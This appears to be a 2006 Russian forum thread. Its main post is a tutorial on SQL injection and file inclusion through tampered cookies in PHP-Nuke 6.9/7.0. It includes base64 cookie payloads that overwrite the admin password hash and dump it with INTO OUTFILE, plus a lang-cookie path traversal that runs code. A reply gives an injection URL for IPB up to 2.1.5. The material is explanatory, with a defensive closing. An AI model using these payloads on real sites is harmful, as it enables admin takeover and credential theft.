Здравствуйте, гость ( Вход | Регистрация )



Гостевой доступ к форуму из Москвы: Телефоны: +7(495)7859696,7376201,7376233,7868796,7390241 Login: demo Password: demo
 
ОтветитьСоздать новую тему
> Введение в SQL-injection
_SHLUX_
сообщение Feb 13 2006, 18:37
Сообщение #1


Постоянный пользователь
***

Группа: Новички
Сообщений: 149
Регистрация: 8-January 06
Пользователь №: 250
Заходит на форум с гостевика.



---/ Введение /---

В данной статье я хотел бы рассказать об одной интересной (по крайней мере для меня) уязвимости.
Описания подобной уязвимости я еще не встречал в сети, поэтому думаю для вас это будет новой
информацией, а уж если не новой то хотя бы интересной =) Наиболее характерна бага для всевозможных
движков сайтов, форумов и прочего, поддерживающих вход с использованием cookies. В сети я встречал
статьи посвященные методам атаки через cookies, но в них рассматривалась атака на пользователя со
стороны сервера, а вот описания метода атаки на сервер со стороны клиента я не встречал.
Чтож наверно пора это исправить =)
В начале статьи следует заметить, что для наиболее полного понимания сути проблемы вы должны обладать
некоторыми (элементарными) знаниями в некоторых областях т.к. подробно останавливаться я на них не
буду, а без их знания некоторые примеры могут показаться вам непонятными. Итак желательны: основы sql
injection , язык SQL , язык PHP , основы работы с cookies , основы Base64 encode\decode ну и конечно
немного желания....

---/ Теория /---

Авторами всевозможных движков на пхп для построения сайта уделяется достаточно внимания к безопасности
при приеме данных от пользователя в GET, POST запросах (правда не всегда и не всеми =) однако что-то я
не часто встречал проверок при приеме данных из кук пользователя, а ведь куки хранятся на компьютере
юзера и наиболее доступны для изменения. Предлагаю рассмотреть все на конкретном примере. Берем движок
PHP-Nuke версии 6.9 (последняя версия доступная для свободного скачивания) Данный движок написан уже
давно, багов в нем нашли немеряно и казалось бы авторы должны были стать параноиками и навставлять
проверок везде где это только возможно, ан нет... Рассмотрим код из файла auth.php ответственного за
авторизацию пользователя:

[ begin code ]
...
if(isset($admin) && $admin != "") # если переменная $admin существует и не пуста
{
$admin = base64_decode($admin); # base64 декодирование строки
$admin = explode(":", $admin); # разбиение строки
$aid = "$admin[0]"; # тут присвоение полученных данных переменной $aid (логин)
$pwd = "$admin[1]"; # тут присвоение полученных данных переменной $pwd (пароль)
$admlanguage = "$admin[2]";

[ тут идет проверка на пустые логин и пароль, она не интересна ]

$sql = "SELECT pwd FROM ".$prefix."_authors WHERE aid='$aid'"; # а вот тут уже запрос к БД включающий
# в себя переменную $aid полученную ранее

if (!($result = $db->sql_query($sql))) # если запрос не увенчался успехом
{
echo "Selection from database failed!"; # вывод сообщения (это нам пригодится позднее)
exit;
}
else # если запрос вернул инфу
{
$row = $db->sql_fetchrow($result); # получение ответа
if($row[pwd] == $pwd && $row[pwd] != "") # проверка данных
{
$admintest = 1; # баааа... да это админ =)))
}

}
...
[ end code ]

Как видно из приведенного листинга то после получения переменной $aid из кук она без всяких проверок
отправляется в sql-запрос, а это означает что мы с чистой совестью можем изменить данную переменную и
изменить сам запрос к БД. Теперь стоит разобраться с куками которые сбрасывает данный движок. Я
рекомендую поставить php-nuke себе и на своем компе производить все операции дабы разобраться в том
что происходит. Значит после установки движка регистрируем в нем пользователя "admin" с паролем
"password" и лезем смотреть на куки которые у нас сбросились.

[ start cookie ]
lang
english
127.0.0.1/phpnuke/
1536
1008201472
29680718
3288127568
29607292
*
admin
YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6
127.0.0.1/phpnuke/
1536
3469246208
29613327
3600307568
29607292
*
[ end cookie ]

Наиболее интересна для нас строка YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6 это зашифрованные
base64 логин и md5 хеш пароля юзера. Самое время их расшифровать и посмотреть как там все устроено.
base64 расшифровывается очень легко поэтому особых трудностей тут возникнуть не должно:

зашифровано:
YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6

расшифровано:
admin:5f4dcc3b5aa765d61d8327deb882cf99:

Где,
admin - логин
5f4dcc3b5aa765d61d8327deb882cf99 - md5 хеш пароля ( в данном случае "password")
: - разделитель


---/ Изменение данных в cookie /---

Итак у нас в руках есть логин и md5 хэш. Давайте попробуем изменить логин и соответственно мы изменим
последующий sql-запрос к БД:

измененная строка:
admin':5f4dcc3b5aa765d61d8327deb882cf99:

шифруем в base64:
YWRtaW4nOjVmNGRjYzNiNWFhNzY1ZDYxZDgzMjdkZWI4ODJjZjk5Og==

Как вы видите мы добавили "'" к логину. Если вы не знаете что это такое то читайте статьи про sql
injection. Теперь осталось вставить измененную строку в наш кук и посмотреть, что произойдет.
Открываем в браузере наш движок и пытаемся войти в админ-панель.
Получаем: Selection from database failed!
Ура. Значит sql-запрос был благополучно изменен =)

Теперь посмотрим что происходит в БД. Открываем логи и видим:

1 Init DB nuke
1 Init DB nuke
1 Query SELECT main_module from nuke_main
1 Query SELECT * FROM nuke_referer
1 Query SELECT user_password FROM nuke_users WHERE username=''
1 Query DELETE FROM nuke_session WHERE time < 1071760481
1 Query SELECT time FROM nuke_session WHERE uname='127.0.0.1'
1 Query SELECT * FROM nuke_banner WHERE type='0' AND active='1'
1 Query SELECT bid, imageurl, clickurl, alttext FROM nuke_banner WHERE type='0' AND active='1' LIMIT 0,1
1 Query SELECT pwd FROM nuke_authors WHERE aid='admin'' <--- !!!!!!!!
...

Вот оно! Как видно наш логин благополучно пробрался в запрос и соответственно данный запрос не смог
возвратить пароль пользователя из-за чего мы и получаем надпись...

if (!($result = $db->sql_query($sql))) # если запрос не увенчался успехом
{
echo "Selection from database failed!"; <--- вот эта надпись
exit;
}

Итак. SQL-injection налицо, осталось выяснить, что это нам дает.... Тут следует обратится к документации
по языку sql, и всевозможной инфе по sql-injection. Я особо углублятся в это не буду. Рассмотрю лишь
небольшой пример...


---/ Примеры /---

Шифруем строку:
admin'; update nuke_authors SET pwd='123' WHERE aid='admin:5f4dcc3b5aa765d61d8327deb882cf99:

Получаем:
YWRtaW4nOyB1cGRhdGUgbnVrZV9hdXRob3JzIFNFVCBwd2Q9JzEyMycgV0hFUkUgYWlkPSdhZG1pbjo1
ZjRkY2MzYjVhYTc2NWQ2MWQ4MzI3ZGViODgyY2Y5OTo=

После вставки данной строки в cookie и захода на сайт в БД выполняется запрос:
SELECT pwd FROM nuke_authors WHERE aid='admin'; update nuke_authors SET pwd='123' WHERE aid='admin'

Т.е. если phpnuke стоит на MSSQL то хеш пароля юзера с aid="admin" сменится на "123" =)
Почему MSSQL? Просто эта БД позволяет отдавать несколько запросов в одной строке разделяя их ";" В
случае с mysql данная фишка не прокатит т.к. там такая роскошь не допускается =( Конечно можно
поиграть с UNION но это подходит только для mysql > 4.0 т.к. в более ранних данной команды нет. Да и в
случае с phpnuke никаких результатов это нам не даст т.к. тут нету вывода какой-либо инфы из базы в
процессе авторизации =( Возможно в каких-либо других движках при другом виде запросов к БД и удастся
приспособить UNION для получения инфы... Но это тема другой статьи.

Ну и как дополнение к статье рассмотрим путь получения хеша пароля для юзера с id="admin" в php-nuke
версии 6.9 на mysql

Шифруем строку:
admin' INTO OUTFILE './pwd.txt:5f4dcc3b5aa765d61d8327deb882cf99:

Получаем:
YWRtaW4nIElOVE8gT1VURklMRSAnLi9wd2QudHh0OjVmNGRjYzNiNWFhNzY1ZDYxZDgzMjdkZWI4ODJj
Zjk5Og==

После вставки полученной строки в cookie и захода на сайт выполняется запрос:
SELECT pwd FROM nuke_authors WHERE aid='admin' INTO OUTFILE './pwd.txt'

Т.е. выбор хеша пароля из БД соответствующего aid="admin" и сохранение этого хеша в файле pwd.txt.


---/ Хинт для нюка /---

Если посмотреть на php-код приведенный в самом начале статьи то можно заметить что на PHP-Nuke совсем не
обязательно передавать данные именно через cookies. Можно передавать зашифрованную строку прямо через
браузер следующим образом:
admin.php?admin=YWRtaW4nOjVmNGRjYzNiNWFhNzY1ZDYxZDgzMjdkZWI4ODJjZjk5Og==
Результат будет таким-же как и при передаче через кукисы.


---/ SQL-injection и только? /---

Естественно не следует думать, что модификация данных в cookies может привести только к SQL-injection.
Модификация данных в cookies лишь метод, а вот направление использования этого метода уже зависит от
кода уязвимого ПО. Мне кажется лучше всего будет это продемонстрировать на примере все того-же бедного
пхп-нюка =) версии 6.9. ( К слову сказать на момент когда статья была дописана я уже достал себе
версию нюки 7.0 FINAL и все приведенные примеры в ней также работают) Итак мы уже в курсе про куки в
которых хранится логин и пароль, но ведь движок сбрасывает еще одну куку... а именно кукис с названием
языка который следует использовать. И название данного файла хранится в переменной $lang и
используется вот таким образом:

[ begin mainfile.php code ]
...
include("language/lang-$lang.php");
...
[ end mainfile.php code ]

Конечно данную переменную можно сменить и просто отдав с строке браузера нужный запрос, например вот
так: 127.0.0.1/phpnuke/index.php?lang=/../../../ но использовать для этого кукисы будет более
правильно, хотя наверно это не самый лучший пример, но какой есть. Простопредставим что данные из GET
запросов фильтруются на наличие в запросе... ну например точек. Значит изменение пути через браузер
отпадает. Будем играть с куками. Значит нам надо изменить путь к языковому файлу. Открываем сайт,
получаем куки и смотрим:

[ start cookie ]
...
lang
english
...
[ end cookie ]

Вот тут нас интересует "english" при таком значении переменной языковой файл будет такой: language/lang-english.php
Мы изменяем в кукисах вот на такую строку: ../../english
Заходим на сайт и получаем ошибку:

Warning: main(language/lang-../../english.php): failed to open stream:
No such file or directory in mainfile.php on line 162

Итак мы можем изменить путь к файлу. Допустим у нас есть возможность залить файл на сервер или же у нас
есть свой сайт, физически расположенный там-же где и атакуемый. Значит мы можем проинклудить свой
созданный заранее файлик. Я рассмотрю пример с инклудом из корня пхп-нюки:
Делаем в куке:
lang
/../../hacker

Теперь путь к файлу такой:
language/lang-/../../hacker.php

Создаем в корне нюки файл hacker.php например с <? echo "cool =)"; ?>
Заходим с измененным cookie на сайт и в самом верху получаем надпись "cool =)"
Код выполнился, а значит потенциальная уязвимость существует.


---/ Защита /---

Способ защиты в принципе банален и не нов. Просто фильтровать ВСЕ!!! пришедшие от пользователя данные,
независимо от того каким способом они передаются.


---/ Заключение /---

В данной статье рассмотрена лишь суть проблемы, а методы использования уже предстоит придумать и
реализовать вам самим. Также метод рассмотренный тут не является шаблоном по которому можно ломануть
все и вся... Все зависит от самого скрипта использующегося на сервере, от вида запросов к БД, от
способов получения данных из cookies и т.д. Да и еще... самое главное! Статья написана в помощь
администраторам и авторам всевозможных пхп-скриптов, с целью указать на их возможные ошибки. Не
используйте информацию из этой статьи в целях противоречащих УК.

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++++
o---[ RusH security team
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Серж
сообщение May 20 2006, 19:13
Сообщение #2


Постоянный пользователь
***

Группа: Banned
Сообщений: 160
Регистрация: 31-August 05
Пользователь №: 115
Заходит на форум с гостевика или полного инета.



Вот вам баг во всех IPB вплоть по 2.1.5
3. SQL-инъекция в файле sources/lib/func_taskmanager.php Злонамеренный пользователь может сформировать и выполнить произвольный запрос в базе данных (длина запроса не должна превышать 32 символа). Пример:
http://host/index.php?act=task&ck= -----пишем SQL запрос

Отличный способ проверить свои знания biggrin.gif
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение

ОтветитьСоздать новую тему
2 чел. читают эту тему (гостей: 2, скрытых пользователей: 0)
Пользователей: 0

 

- Текстовая версия Сейчас: 13th April 2021 - 01:38
 
     
Rambler's Top100 службы мониторинга серверов
Gentoo Powered Lighttpd Powered